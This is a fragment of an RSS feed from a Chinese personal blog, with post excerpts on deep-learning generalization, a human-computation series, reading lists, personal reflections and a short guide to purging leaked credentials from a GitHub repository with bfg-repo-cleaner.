&lt;p>若读者在阅读本系列的过程中发现有原则性的错误，请务必指出，谢谢。&lt;/p></description></item><item><title>不笑不足以为道</title><link>https://changkun.de/blog/posts/%E4%B8%8D%E7%AC%91%E4%B8%8D%E8%B6%B3%E4%BB%A5%E4%B8%BA%E9%81%93/</link><pubDate>Sun, 25 Feb 2018 21:21:21 +0000</pubDate><guid>https://changkun.de/blog/posts/%E4%B8%8D%E7%AC%91%E4%B8%8D%E8%B6%B3%E4%BB%A5%E4%B8%BA%E9%81%93/</guid><description>记得曾经有这么一个小故事，说是欧几里德上完课有个学生发问：『我学这有什么好处？能得到什么呢？』 欧几里德马上叫来仆人：『给这小子一块金币，让他滚蛋，他想要学有所获。』
古人云：上士闻道，勤而行之；中士闻道，若存若亡；下士闻道，大笑之。不笑不足以为道。
Wir müssen wissen, Wir werden wissen.</description></item><item><title>论文笔记：Generalization in Deep Learning</title><link>https://changkun.de/blog/posts/generalization-in-deep-learning/</link><pubDate>Sun, 28 Jan 2018 18:04:57 +0000</pubDate><guid>https://changkun.de/blog/posts/generalization-in-deep-learning/</guid><description>&lt;blockquote>
&lt;p>Generalization in Deep Learning, Kenji Kawaguchi&lt;/p>
&lt;p>arXiv: &lt;a href="https://arxiv.org/abs/1710.05468">https://arxiv.org/abs/1710.05468&lt;/a>&lt;/p>
&lt;/blockquote>
&lt;h2 id="relu-网络的路径展开">ReLU 网络的路径展开&lt;/h2>
&lt;p>Section 5、6 是全文最有趣的地方了，可惜这个地方作者表达得不是特别好。一个比较主要问题就是作者没有说明 $w_\sigma$ 的定义，这导致了很多人往后就开始懵逼。我问了一下 Kenji ，确认了一下我的理解，他也承认这个地方写得不是很好，因为 $w_\sigma = \bar{w}$，他使用不同记号的原因在于在 5.3 里面要解释 two-phase training。&lt;/p></description></item><item><title>2017 年终总结</title><link>https://changkun.de/blog/posts/2017-summary/</link><pubDate>Thu, 04 Jan 2018 01:29:29 +0000</pubDate><guid>https://changkun.de/blog/posts/2017-summary/</guid><description>&lt;p>从高中毕业以后，再也没有受过正儿八经的文学熏陶，感觉几乎丢失了表达能力，以前的我是很喜欢用键盘来宣泄情绪的。
而现在的我，无论是生活、感情还是技术都有过不同程度的感悟、提升后，几乎不愿意甚至不再能够行云流水的分享自己的感悟了。现在的我，突然感觉已经加速「衰老」，步入「三十岁中年」了。2017 年过得很累，希望 2018 能够过得好些吧。&lt;/p></description></item><item><title>2017 读书清单</title><link>https://changkun.de/blog/posts/2017-reading/</link><pubDate>Fri, 29 Dec 2017 09:30:43 +0000</pubDate><guid>https://changkun.de/blog/posts/2017-reading/</guid><description>2017 年一整年十二个月的时间总共有是十一个月待在国外，接触到中文实体书的几率大大降低了。加上越来越忙，而精力有限，一年下来回头看看发现论文倒是看了不少，可惜书却读得少了。本文总结了本人在 2017 年内读过后感觉比较有意思的作品，这里放出来仅供参考与日后回顾。 值得注意的是，本文所列书籍并非全部阅读书籍，以中文类非技术书籍为主，多为饭后娱乐，睡前消遣之用。
非技术书籍清单:
人民的名义, 周梅森
推荐理由：本书是在看《人民的名义》这部电视剧时买来看的，整体读下来比电视剧流畅，逻辑更清晰，其政治隐喻更加丰富。
咖啡原来是这样的啊，童铃
推荐理由：本书算是本人的第一本关于咖啡的「启蒙类」读物，总的来说就诸多饮品而言，抛开茶饮类不谈，我最喜欢的就是咖啡了。这本书详细介绍了几种常见的咖啡的做法，比如拿铁与卡布奇诺在做法上有什么区别、意式浓缩与美式咖啡有什么区别等等，最重要的是介绍了各地的咖啡文化。
你凭什么做好互联网——从技术思维到商业逻辑，曹政
推荐理由：我相信大部分偏爱技术的同学都有自己的「创业梦」，这几年的人生经历告诉了我社会的本质，当希望实现自己的奋斗目标时，技术是不够的，这本书内容不多却足够广度的阐述了屌丝创业的诸多因素，也进一步巩固了我对于这个世界的认知。
工程心理学，葛列众等
推荐理由：此书其实是一本学术著作。心理学是目前唯一一门能够定性的解释人类行为的学科，产品在与人打交道的过程中，心理学会发挥不可小觑的重要作用。
斯坦福极简经济学——如何果断权衡利益得失，泰勒
推荐理由：我的经济学领域启蒙读物，初步了解到了经济的运行规律。
期权、期货及其他衍生产品，赫尔
推荐理由：上半年的时候因为学业需求被迫读了此书，只读了里面关于信用评级、信用衍生品的部分，有不少收获，希望以后有时间能把其他部分也读了。
硅谷革命——成就苹果公司的疯狂往事，Andy
推荐理由：Yet another history book of Apple.</description></item><item><title>深度学习的泛化理论简介</title><link>https://changkun.de/blog/posts/an-intro-to-generalization-theory/</link><pubDate>Sun, 17 Dec 2017 13:54:13 +0000</pubDate><guid>https://changkun.de/blog/posts/an-intro-to-generalization-theory/</guid><description>本文译自：http://www.offconvex.org/2018/02/17/generalization2/
译者：欧长坤
正如我们在博客上之前讨论的那样，深度学习有着太多秘密没有被理论解释。最近，许多 ML 理论学者开始对泛化之谜感兴趣：尽管这些网络拥有这比样本的数量更多的参数（经典的过拟合机制）但是为什么训练好的深度网络依然在新数据集上的表现如此优秀？Zhang 等人的《理解深度学习必须重新思考泛化性》一文成功将人们的注意力吸引到了这一富有挑战的问题上。他们的主要实验发现是，如果采用经典的卷积网络体系结构，比如 Alexnet，并在带有随机标签的图像上对其进行训练，那么仍然可以在训练数据上获得非常高的精度（此外，通常的 Regularization 策略则被认为能够提升泛化能力，但没有非常明显的帮助）。显然，训练过的网络是没有办法一直对新图片持续预测随机标签的，也就是说泛化能力不好。而这篇论文表明，在传统机器学习中， Rademacher 复杂度作为描述将分类器与带有随机标签的数据相匹配的工具，但其对样本复杂度并没有任何有意义的限制。我发现这篇论文写得很有意思，尽管这里已经介绍了这篇论文的核心部分，但我还是推荐阅读一下原文，并同时祝贺作者在 ICLR2017 上获得最佳论文奖。
但是，如果我没有在 Simons Institute 2017 年春季学期 做关于 ML 理论的报告，那就是我就太大意了。泛化理论的专家们对这篇论文——尤其是这篇论文的标题感到不满。他们认为，类似的问题已经在更简单的模型（例如 Kernel SVMs）的背景下做过广泛的研究了（说句公道话，那篇论文其实提到了这点），设计具有高 Rademacher 复杂度并在实际数据上训练后的结果表示泛化能力很好的 SVM 架构非常简单。更有甚者还发展了一些理论来解释这种泛化行为（以及类似于 boosting 的相关模型）。于此相关的是，一些 Behnam Neyshabur 及其合著者的几篇早期论文（这篇论文详细介绍了 Behnam 的论文）提出了与 Zhang 等人非常相似的关于深度网络的观点。
无论如何，我们都应该为 Zhang 等人的这篇论文来带的对核心理论关注度感到高兴。确实，Simons 学期学者们非常有激情的讨论自己的小组如何对付这一挑战：这些结果由 [Dzigaite, Roy](Dzigaite and Roy)、Bartlett, Foster 和 Telgarsky 和 Neyshabur, Bhojapalli, MacAallester, Srebro 近期公布。
在详细分析这些结果之前，我先介绍一些由 Zhang 等人论文产生的争议，这些争议是由于目前繁华理论是否是规范性或仅仅是描述性的基础性误解。这些误解来自于课堂里或者课本里关于泛化理论的标准处理手段，正如我在我毕业讨论班上发现的那样。
描述型理论 vs 规范型理论 为了展示他们的不同之处，考虑一个患者对他的主治医生说：『医生，我晚上经常很亢奋，但白天却困得不行』。
医生1（没有任何物理诊断）：『哦，你失眠了』
我将这样的诊断称之为描述型（descriptive），因为它仅仅只是把标签对应到了患者的问题上，而没有给出任何关于如何解决这个问题的看法。相反：
医生2（进行物理诊断之后）：『你的鼻窦导致睡眠时呼吸停止，移除它就可以解决问题。』
这样的诊断就是规范型（prescriptive）的。</description></item><item><title>删除 GitHub 上已经提交的敏感信息</title><link>https://changkun.de/blog/posts/delete-pushed-info-from-github/</link><pubDate>Sun, 12 Nov 2017 18:20:12 +0000</pubDate><guid>https://changkun.de/blog/posts/delete-pushed-info-from-github/</guid><description>最近两天参加了 SIMENSE 举办的 AI Lab Hackathon，手残在 GitHub 上把账号和密码信息泄露上去了。
不过好在账号是临时注册的账号。虽然是临时账号，但我还是比较希望能够删掉。
于是需求变成了：如何删除一个已经 push 了的 repo 的某些历史信息？
我们知道，git 仓库的信息一般是不能随便修改的，这是因为所有的 commit hash 值都是根据提交的数据、commit信息计算出来的，想要轻易修改还是比较苦难的。
搜索一番发现了一个很有用的工具叫做：bfg-repo-cleaner
使用说明在他们的网站上已经写得很清楚了，这里举一个例子，就拿我想删掉已经 push 了的文件文件：
首先从 bfg 的首页上下载 .jar 工具包。
执行下面的命令：
1 2 3 4 $ git clone --mirror https://github.com/changkun/gitchain.git $ java -jar bfg.jar --delete-files config.ini gitchain.git $ git reflog expire --expire=now --all &amp;amp;&amp;amp; git gc --prune=now --aggressive git push 然而还是会有坑在里面，因为最新的 commit 不能被删掉或者修改，也就是说 HEAD 指向的 commit 如果包含了这个文件，那么你就不能删除这个文件，这好办啊，再删掉远程仓库的最后一个 commit 就完了呗：</description></item><item><title>硕士生涯的第一年就这样告一段落了</title><link>https://changkun.de/blog/posts/first-year-of-master-studies/</link><pubDate>Sun, 03 Sep 2017 10:24:26 +0000</pubDate><guid>https://changkun.de/blog/posts/first-year-of-master-studies/</guid><description>前段时间学长李喆问我：「来，小伙子，说说你来德国这一年的收获是什么？」我当时给他的回答是：「我已经正儿八经的把目前计算机科学的各个领域给研究了一遍，已经没有我不了解的领域了。」这个话说得很狂，确实，我知道自己的充其量不过是在某几个领域已经足够深入，大部分其他领域在长期在这个领域研究的人看来我不过是一个刚刚跑过「Hello World」的小屁孩。计算机毕竟是一个实践科学，没有长期实践，那都是狗屁。有一句话我觉得说得特别好：「Theory is when you know everything but nothing works. Practice is when everything works but no one knows why. In the industrial, theory and practice are combined: nothing works and no one knows why.」
我当时来德国的契机是什么，真的都做到了吗？翻看我自己在读研之前给自己列的 TODO-DONE-LIST 如今已经有一大半完成了，这一年里收获了很多知识，精进了很多知识，至少我已经能够在大部分领域发表我自己的看法了。今天就要登上飞机回国了，于是我没事儿就喜欢总结一下的老毛病又犯了。从哪儿说起呢？
生活 在一个非母语的环境里确实能够让非母语有突飞猛进的进步。前几天在知乎答了一个问题，问题说「为什么部分中国人（留学生）说汉语时，常夹带英文？」是的，我也变得开始喜欢说话夹英文了，我的答案是：
**出国前英语不好。**因为英语不够好，所以很多英文词汇其实在出国之前并没有在脑海中建立记忆网络。而出国后无论是英语的交流还是阅读量都远远高于出国前，于是乎很多以前不知道的词，会以英文上下文情境的形态在脑中建立突触，形成某个概念第一反应是英文词的状态。 **出国后母语变差。**是的，虽然偶尔还是会克制自己不能落下母语的学习，在用母语写作时坚决不使用英文单词，经常参与翻译工作，但我还是发现自己的母语水平几乎成直线下降。老实说，前几天到和一个中国人助教聊事情，聊事情都是用中文聊的，聊完了之后要把谈话内容总结一下发给给另一个中国同学，然后写邮件的时候发现自己居然没办法用中文流畅的打出来（天哪，全程可都母语啊），脑子里经常卡壳，然后我换成了用英语写，一口气给敲完了点了发送。 之前本科大四来交换那一个学期还没有如此明显的感受，但经过这次一年的训练，我发现自己已经可以开始使用英语进行思考，并能够在面对他人不假思索的用英语脱口而出了。这是我觉得收获最大的一点。
然而要知道，德国不是一个英语为母语的国家，尽管在大学里大家都会说英语，大家的英语都挺不错，我主动和别人说英语，大家也都会主动和我说英语。但有时候还是不可避免的需要和德国本地当地人打交道，总不能期望一个母语不是英语的国家每个人都会说英语吧？试想中国的某个路边的小卖部老板会英语的概率有多高？所以，第一个学期我还是意识到了这种不便性，在第二个学期我便正儿八经的开始研究德语了。为此我还初步写了一本德语的基础教程，也算是自己在硕士生涯里一个相当不小的收获，当拿到成绩单和语言证书的时候，我终于可以拍着胸脯的说：嗯，德语也不是很难嘛，当初交换的时候那一个月就是没好好学，现在老夫也是一个会说三门自然语言的人了。
当然，千万别以为这个国家就好得不得了，生活上的糟心事其实也是一大堆的。与交换期间产生的强烈对比，可能是第一次来这边时一切都是新鲜的，各方面缺点都被我忽略而关注在了优点上。就住处来说，起初我曾住在一个拥有双层楼房的小别墅中，本以为这就是慕尼黑人们的标准住宿条件，其实只不过是交换生的福利罢了。而这次没有了福利后，加上突如其来的行程安排，导致我前半年挤在了一个破旧阴暗的车库杂货间里，不仅生活条件极差，还被收着高额的房租，直到第二个学期才搬进了一个条件稍有改善的单人间。
这一年里与这里的同学、同事、老板、本地居民这些不同身份的人打过足够多交道后，不得不说在这里生活确实不如国内自在。最令我反感的就是德国人不紧不慢的生活状态。确实，他们并不需要为自己操心太多，领着一份不错的薪水，在如此高福利的社会环境下，不需要操心自己的经济抗压能力，生病了有免费的医疗，失业了还有高额的政府补助，甚至于土耳其难民都能领上超过我们一个月生活费还高的无偿补贴。很多人就逐渐安于现状，觉得「现在这样也挺好」。这就导致了，哪怕是一丁点的小事、一个很简单的任务分配可能会邮件来邮件去，甚至一个上午时间全部浪费在了毫无收获的小组讨论上了。也罢，吐槽的过去的事情就不再展开了。
学业 回过头去看这一年的时间过得真是飞快，感觉本科毕业简直就是昨天的事情，然而理论上讲，我已经完成了大部分的修课计划，除了最后一两门小打小闹、可有可无的课程外，就是自己的毕业论文了 —— 但我目前还没有特别想要完成的题目。我也可以选择不用着急着毕业之类的，每个学期修一门课好好享受一下在德国的这段时间。确实，这会让我有足够的时间来思考接下来的步伐，但可能已经违背了我自己词典里对效率的定义。在这一年里学习时间中，我正儿八经的搞明白了这些个领域，这正好都是我本科阶段还没来得及仔细研究的领域：
人机交互 Human-Computer Interaction 在线媒体 Online Multimedia 并行计算 Parallel and High Performance Computing 知识表示 Knowledge Representation and Reasoning 数据分析 Big Data Management and Analytics 知识发现 Knowledge Discovery in Databases 人肉计算 Human Computation 机器学习Machine Learning 当然，「人机交互」是我的主业，这个肯定要搞明白。本科的时候虽然学过这门课的一些基础知识，而且还考出了不错的成绩，但实际上脑子里对这个领域并没有多少看法，自认为就是一些炫酷技术的拼凑，技术决定一切。而实际上当我真正静下心来阅读和实践过一两个项目之后，我才明白了「人」这个字被放在了「人机交互」的第一位的意义，这个领域真正关注的是什么，这个领域真正关心的是什么。作为积累，希望我自己能在毕业之前写完一本关于人机交互的书。</description></item><item><title>人肉计算(10): 系统参与激励</title><link>https://changkun.de/blog/posts/human-computation-10/</link><pubDate>Thu, 20 Jul 2017 07:54:29 +0000</pubDate><guid>https://changkun.de/blog/posts/human-computation-10/</guid><description>&lt;p>这是「人肉计算」系列文章的最后一篇。我们来讨论参与激励的相关问题。&lt;/p></description></item><item><title>人肉计算(9): 陷阱的解法</title><link>https://changkun.de/blog/posts/human-computation-9/</link><pubDate>Thu, 20 Jul 2017 07:53:43 +0000</pubDate><guid>https://changkun.de/blog/posts/human-computation-9/</guid><description>&lt;p>上一篇文章我们讨论了人肉计算中的相关陷阱，这篇文章我们来看看这些陷阱都有什么样的解法。&lt;/p></description></item><item><title>别聊，一聊你就暴露</title><link>https://changkun.de/blog/posts/do-not-talk/</link><pubDate>Fri, 07 Jul 2017 10:30:25 +0000</pubDate><guid>https://changkun.de/blog/posts/do-not-talk/</guid><description>这周吃饭的时候遇到个人，说什么自己对机器学习非常有兴趣，一直都在做这个。
好嘛，既然你这么自信我就随便问了几个问题：
What&amp;rsquo;s the difference between L1 and L2 regularization? What&amp;rsquo;s the difference bewteen kernel function and basis function? What&amp;rsquo;s the benefits to use Rectified Linear Function instead of Sigmoid Function? Explain the relationship between Maxout and ReLU. Is dropout theoretically works when activation function is not a linear function? Why? 好嘛，这几个问题真的很基础，如果你说你做机器学习，搞深度学习，连这几个问题都答不上来，或者答得没办法让我满意。
我最多只能认为你在机器学习领域的建树就是跑过几个 Demo ，了解一些基本概念，把它当「黑盒」来用。
我只能说，基础不牢，连一些基本的东西都搞不清楚的话，真的很难在这条路走得很远。
真的，别聊，别在我面前装，一聊你就暴露水平。</description></item><item><title>人肉计算(8): 人肉计算与数据科学中的陷阱</title><link>https://changkun.de/blog/posts/human-computation-8/</link><pubDate>Wed, 05 Jul 2017 15:21:51 +0000</pubDate><guid>https://changkun.de/blog/posts/human-computation-8/</guid><description>&lt;p>这个人肉计算的系列主题差不多快要接近尾声了。在之前的几篇文章里我们已经看了足够多的输入数据聚合的例子，了解到了一些数据处理的方法。是时候从伦理道德的角度来讨论人肉计算领域存在的问题了。&lt;/p></description></item><item><title>人肉计算(7): 社会行为分析</title><link>https://changkun.de/blog/posts/human-computation-7/</link><pubDate>Wed, 28 Jun 2017 14:15:14 +0000</pubDate><guid>https://changkun.de/blog/posts/human-computation-7/</guid><description>&lt;p>在上一篇文章中我们讨论了预测市场在某种意义上也是在聚合人类的输入。到目前为止我们已经看过足够多的金融领域在人肉计算中将人类输入进行聚合的例子。这次我们来看一看社会行为分析领域中的三个相关的技术和问题：&lt;/p>
&lt;ol>
&lt;li>基于代理人的建模与模拟&lt;/li>
&lt;li>随机模型&lt;/li>
&lt;li>社会同步性&lt;/li>
&lt;/ol>
&lt;blockquote>
&lt;p>社会行为分析旨在探索人口规模下的用户行为的模型的结果。&lt;/p>
&lt;/blockquote></description></item><item><title>Hexo + GitHub + Travis CI + VPS 自动部署</title><link>https://changkun.de/blog/posts/hexo-github-travis-ci-vps-ci-cd/</link><pubDate>Wed, 21 Jun 2017 01:35:57 +0000</pubDate><guid>https://changkun.de/blog/posts/hexo-github-travis-ci-vps-ci-cd/</guid><description>&lt;p>最近和朋友交流到 Hexo 博客的自动部署问题。其实很早以前我就思考过，由于博客是部署在阿里云上的，而 Hexo 从
本地部署到阿里云这个过程要走国际线路，上传时非常缓慢，于是决定利用 Travis CI 来实现自动构建及部署。&lt;/p>
&lt;h2 id="博客的源码结构">博客的源码结构&lt;/h2>
&lt;p>这个博客的源码其实从上次维护开始就完全通过 GitHub 私有项目进行托管了。这里截个图可看，大概是这个样子：&lt;/p>
&lt;p>&lt;img src="1.png" alt="">&lt;/p></description></item><item><title>人肉计算(6): 预测市场</title><link>https://changkun.de/blog/posts/human-computation-6/</link><pubDate>Thu, 15 Jun 2017 08:06:59 +0000</pubDate><guid>https://changkun.de/blog/posts/human-computation-6/</guid><description>&lt;p>上一篇文章我们介绍了如何将人肉计算应用到金融领域的信用风险评级。
在这个模型上，我们只看到了在进行数据聚合时，对当前的信用进行评估，却没有对未来事件进行预测。
这一节我们就来看一个关于预测的例子：预测市场。
同样在开始之前，我们需要铺垫一些金融知识。&lt;/p></description></item><item><title>人肉计算(5): 信用风险评级模型</title><link>https://changkun.de/blog/posts/human-computation-5/</link><pubDate>Sat, 10 Jun 2017 19:51:28 +0000</pubDate><guid>https://changkun.de/blog/posts/human-computation-5/</guid><description>&lt;p>上一篇文章我们简单「水」过了已经耳熟能详的 PageRank。这里简单总结一下：&lt;/p>
&lt;ul>
&lt;li>一个社交网络其实就是一个矩阵；&lt;/li>
&lt;li>如果这个社交网络是一个加权有向图，那么通过 PageRank 算法可以根据边的权值和流向确定网络中节点的重要性排名；&lt;/li>
&lt;li>排名最高者就是特征向量中心，这个节点在整个网络中的地位最为重要。&lt;/li>
&lt;/ul>
&lt;p>这一篇文章我们来真正看看输入数据聚合的实际例子，如何将人肉计算应用到信用风险评级当中。
本文讨论内容基于这篇文章&lt;sup id="fnref:1">&lt;a href="#fn:1" class="footnote-ref" role="doc-noteref">1&lt;/a>&lt;/sup>，但在谈论具体的模型之前，我们需要铺垫一些金融学知识，首先就是：什么是信用风险评级？它有什么问题？&lt;/p></description></item><item><title>读书与回报</title><link>https://changkun.de/blog/posts/return-of-studies/</link><pubDate>Fri, 09 Jun 2017 01:27:33 +0000</pubDate><guid>https://changkun.de/blog/posts/return-of-studies/</guid><description>从蜗居县城，到参加高考，到大城市读大学，再到出国，一路走来感觉很应景，感触很深。回过头去看高中年代写的一些 文字，明显感到自己的眼界不够宽广。最近看到这样一篇文章：
http://erikrood.com/Posts/college_roi_.html?utm_source=wanqu.co&amp;amp;utm_campaign=Wanqu+Daily&amp;amp;utm_medium=website
不经反思，读书究竟给我带来了什么，到现在为止依然需要家人给与支持，忙于不知道什么时候能够用上的书本知识。尽管我总是自我安慰的把这叫做「积累」。
总的来说，可能读书带给我的唯一好处就是：给我提供了一个背井离乡的理由与机遇，越走越远，永远不会去过家乡的亲戚朋友那种一眼就望到头的人生。</description></item><item><title>瞎扯: 对现代企业理论与当下IT企业的商业模式和信息产业链的规律性的思考</title><link>https://changkun.de/blog/posts/%E5%AF%B9%E7%8E%B0%E4%BB%A3%E4%BC%81%E4%B8%9A%E7%90%86%E8%AE%BA%E4%B8%8E%E5%BD%93%E4%B8%8Bit%E4%BC%81%E4%B8%9A%E7%9A%84%E5%95%86%E4%B8%9A%E6%A8%A1%E5%BC%8F%E5%92%8C%E4%BF%A1%E6%81%AF%E4%BA%A7%E4%B8%9A%E9%93%BE%E7%9A%84%E8%A7%84%E5%BE%8B%E6%80%A7%E7%9A%84%E6%80%9D%E8%80%83/</link><pubDate>Tue, 06 Jun 2017 10:49:05 +0000</pubDate><guid>https://changkun.de/blog/posts/%E5%AF%B9%E7%8E%B0%E4%BB%A3%E4%BC%81%E4%B8%9A%E7%90%86%E8%AE%BA%E4%B8%8E%E5%BD%93%E4%B8%8Bit%E4%BC%81%E4%B8%9A%E7%9A%84%E5%95%86%E4%B8%9A%E6%A8%A1%E5%BC%8F%E5%92%8C%E4%BF%A1%E6%81%AF%E4%BA%A7%E4%B8%9A%E9%93%BE%E7%9A%84%E8%A7%84%E5%BE%8B%E6%80%A7%E7%9A%84%E6%80%9D%E8%80%83/</guid><description>&lt;blockquote>
&lt;p>本文作为课程报告写于本科一年级时通识选修课《经济学百年》&lt;/p>
&lt;/blockquote>
&lt;h2 id="摘要">摘要&lt;/h2>
&lt;p>本文讨论了现代企业理论在当下IT企业中的适用性，分析了IT企业与市场的界限。列举了AT&amp;amp;T、Microsoft、Oracle这
些IT企业的商业模式，详细分析了Google的商业模式;并在信息产业规律下讨论了企业生灭问题，以及Google的资本结构。&lt;/p>
&lt;p>&lt;strong>关键词&lt;/strong>：现代企业理论、Information technology firm、Google、商业模式、资本结构、信息产业规律&lt;/p></description></item><item><title>人肉计算(4): 输入数据聚合与PageRank</title><link>https://changkun.de/blog/posts/human-computation-4/</link><pubDate>Fri, 02 Jun 2017 00:37:39 +0000</pubDate><guid>https://changkun.de/blog/posts/human-computation-4/</guid><description>&lt;p>上一篇文章中我们已经初步谈到了在一个人肉计算系统中输入数据聚合的重要性。那么具体都有些什么聚合技术呢？本文我们将探讨最经典的 PageRank 方法。&lt;/p></description></item><item><title>又一次打整了一下博客</title><link>https://changkun.de/blog/posts/%E5%8F%88%E4%B8%80%E6%AC%A1%E6%89%93%E6%95%B4%E4%BA%86%E4%B8%80%E4%B8%8B%E5%8D%9A%E5%AE%A2/</link><pubDate>Tue, 30 May 2017 18:50:53 +0000</pubDate><guid>https://changkun.de/blog/posts/%E5%8F%88%E4%B8%80%E6%AC%A1%E6%89%93%E6%95%B4%E4%BA%86%E4%B8%80%E4%B8%8B%E5%8D%9A%E5%AE%A2/</guid><description>这两天忙里偷闲，实在是受不了了，做了一些博客的升级，这次博客的相关升级有：
增加了 RESTful API。基于 hexo-generator-restful 插件做了一些自定义，fork 地址，API 分别支持： 支持 /api/articles/*.json 支持 /api/pages/*.json 支持 /api/posts/*.json 支持 /api/posts.json 支持 /api/tags/*.json 支持 /api/tags.json 支持 /api/site.json 重新完善了主题样式, 似乎从我开始第一次将 ParticleJS 引入本主题背景，官方立马就支持了。但我还是决定自己 fork 一份来维护，fork 地址，本次主题修复的内容有： 修复了在 Safari 下背景粒子渲染的高性能消耗的问题 修复了列表样式无法显示的 bug 修复了搜索功能 修复了因为引入 ParticleJS 而带来的部分区域不可点击的问题 增加了更多的英语内容支持 增加了文章的字数统计和阅读时间 增加了文章标题前的编号 增加了侧边栏的客户端下载选项 修改了本站的文章授权，现为 CC-BY-NC-ND 授权 修改了 Markdown 内容的渲染引擎，现由 hexo-renderer-pandoc 驱动, 解决了大量的渲染错误 站点本身的优化。这次的升级将本地的源码统一又托管到了 GitHub 私有仓库，解决了此前长期没有管理日志的问题。主要改动有： 优化了整个站点的管理逻辑，现全面使用 git 进行管理 重写了这个站点的 gulpfile, 尤其是对全站图片进行了重新压缩 补充早年的文字作品。从 2008 年开始，我开始在网络的各个地方留下自己的文字作品，我决定全部搬迁过来。</description></item><item><title>人肉计算(3): 输入数据聚合与链路预测</title><link>https://changkun.de/blog/posts/human-computation-3/</link><pubDate>Thu, 25 May 2017 12:27:32 +0000</pubDate><guid>https://changkun.de/blog/posts/human-computation-3/</guid><description>&lt;p>在上一篇文章中，我们讨论了人肉计算领域的意图博弈 GWAPs，通过引入人与人之间游戏博弈的方式来解决计算机难以完成的任务，那么一个绕不开的话题就是应该如何将意图博弈的结果给聚合起来。这也就是本节我们要进一步讨论的内容。&lt;/p></description></item><item><title>人肉计算(2): 意图博弈 GWAPs</title><link>https://changkun.de/blog/posts/human-computation-2/</link><pubDate>Sat, 20 May 2017 08:58:11 +0000</pubDate><guid>https://changkun.de/blog/posts/human-computation-2/</guid><description>&lt;p>在上一篇文章中我们已经介绍了人肉计算的定义。这篇文章我们来谈谈人肉计算中的「&lt;strong>意图博弈&lt;/strong>」（&lt;strong>Game With A Purpose&lt;/strong>, &lt;strong>GWAPs&lt;/strong>）。&lt;/p>
&lt;p>所谓「&lt;strong>意图博弈&lt;/strong>」，指让玩家进行互相博弈，并从博弈过程中收集数据，并用于某种意图。&lt;/p>
&lt;h2 id="esp-游戏">ESP 游戏&lt;/h2>
&lt;p>为了说明意图博弈，我们以图像标注这个问题来作为例子。&lt;/p></description></item><item><title>人肉计算(1): 众包与群众智慧</title><link>https://changkun.de/blog/posts/human-computation-1/</link><pubDate>Sun, 14 May 2017 17:18:22 +0000</pubDate><guid>https://changkun.de/blog/posts/human-computation-1/</guid><description>&lt;p>这篇文章我们来聊聊几个学术界很时髦的几个概念：&lt;/p>
&lt;ul>
&lt;li>Crowdsourcing (众包)&lt;/li>
&lt;li>Human Computation (人肉计算)&lt;/li>
&lt;li>Wisdom of crowds (群众智慧)&lt;/li>
&lt;/ul>
&lt;p>首先，解释一下我将 「Human Computation」译为「人肉计算」的原因：&lt;/p>
&lt;ul>
&lt;li>「Human Computation」这一词在中文界尚无公认的标准议法；&lt;/li>
&lt;li>主流译法为「人计算」、「人本计算」、「人类计算」均欠妥，「人计算」没有译出人为核心的概念，「人本计算」多用于「Human-Centred Computation」，强调以人为本的想法，并未实际替代计算，而「人类计算」则显得概念过于庞大，一个「Human Computation」的系统通常没有涉及「人类」如此之大的范畴。&lt;/li>
&lt;/ul>
&lt;p>其次，我们将在下面的内容详细阐述为什么「人肉计算」应当受到重视。&lt;/p></description></item><item><title>对后辈同学在计算机专业上的答疑与解惑</title><link>https://changkun.de/blog/posts/%E5%AF%B9%E5%90%8E%E8%BE%88%E5%90%8C%E5%AD%A6%E5%9C%A8%E8%AE%A1%E7%AE%97%E6%9C%BA%E4%B8%93%E4%B8%9A%E4%B8%8A%E7%9A%84%E7%AD%94%E7%96%91%E4%B8%8E%E8%A7%A3%E6%83%91/</link><pubDate>Sun, 14 May 2017 09:27:08 +0000</pubDate><guid>https://changkun.de/blog/posts/%E5%AF%B9%E5%90%8E%E8%BE%88%E5%90%8C%E5%AD%A6%E5%9C%A8%E8%AE%A1%E7%AE%97%E6%9C%BA%E4%B8%93%E4%B8%9A%E4%B8%8A%E7%9A%84%E7%AD%94%E7%96%91%E4%B8%8E%E8%A7%A3%E6%83%91/</guid><description>&lt;p>前段时间收到过来自本科母校的对于高年级学长的几个问题，个人感觉问得挺好。这里放出来：&lt;/p>
&lt;ol>
&lt;li>
&lt;p>对于一个计科的大学生来说毕业时应具备哪些专业技能，达到一个怎样的水平？&lt;/p>
&lt;p>计算机专业的本科毕业生，我认为应当已经具备极强的学习和工程实践能力。举两个方面为例：&lt;/p>
&lt;/li>
&lt;/ol></description></item><item><title>在德国的医疗及住院体验</title><link>https://changkun.de/blog/posts/%E5%9C%A8%E5%BE%B7%E5%9B%BD%E7%9A%84%E5%8C%BB%E7%96%97%E5%8F%8A%E4%BD%8F%E9%99%A2%E4%BD%93%E9%AA%8C/</link><pubDate>Thu, 11 May 2017 13:19:30 +0000</pubDate><guid>https://changkun.de/blog/posts/%E5%9C%A8%E5%BE%B7%E5%9B%BD%E7%9A%84%E5%8C%BB%E7%96%97%E5%8F%8A%E4%BD%8F%E9%99%A2%E4%BD%93%E9%AA%8C/</guid><description>&lt;p>虽然说上次来这边交换的时候也完整体验过门诊的检查体验。但由于没有住过院，并不能算是一段完整的经历。最近「有幸」能够获得一次在德国进行完整住院经历，这次也算是丰富了我在德国的个人体验。&lt;/p></description></item><item><title>这可能不是一个技术博客了</title><link>https://changkun.de/blog/posts/%E8%BF%99%E5%8F%AF%E8%83%BD%E4%B8%8D%E6%98%AF%E4%B8%80%E4%B8%AA%E6%8A%80%E6%9C%AF%E5%8D%9A%E5%AE%A2%E4%BA%86/</link><pubDate>Thu, 11 May 2017 10:29:54 +0000</pubDate><guid>https://changkun.de/blog/posts/%E8%BF%99%E5%8F%AF%E8%83%BD%E4%B8%8D%E6%98%AF%E4%B8%80%E4%B8%AA%E6%8A%80%E6%9C%AF%E5%8D%9A%E5%AE%A2%E4%BA%86/</guid><description>&lt;p>虽然这篇文章的 ID 是 108，但这篇文章已经绝对不是这个博客的第 108 篇文章了。在我本地的文件夹里躺着数十篇尚未写完，也不太想继续写的一些没有价值的内容。&lt;/p>
&lt;p>我们都有阅读技术类文章的经历，通常我们为了解决某个问题，在搜索引擎上找到一篇文章，然后随着作者的思路向下阅读，有时候甚至为了能够迅速解决自己的问题直接扫读全文，在不到一分钟的时间里决定这篇文章是否对自己有价值，否则就直接关闭这篇文章。如果凑巧这篇文章对读者有价值，那么这篇文章可能会被引用、会被抄袭，进而广泛传播，对技术圈产生一定的贡献。&lt;/p>
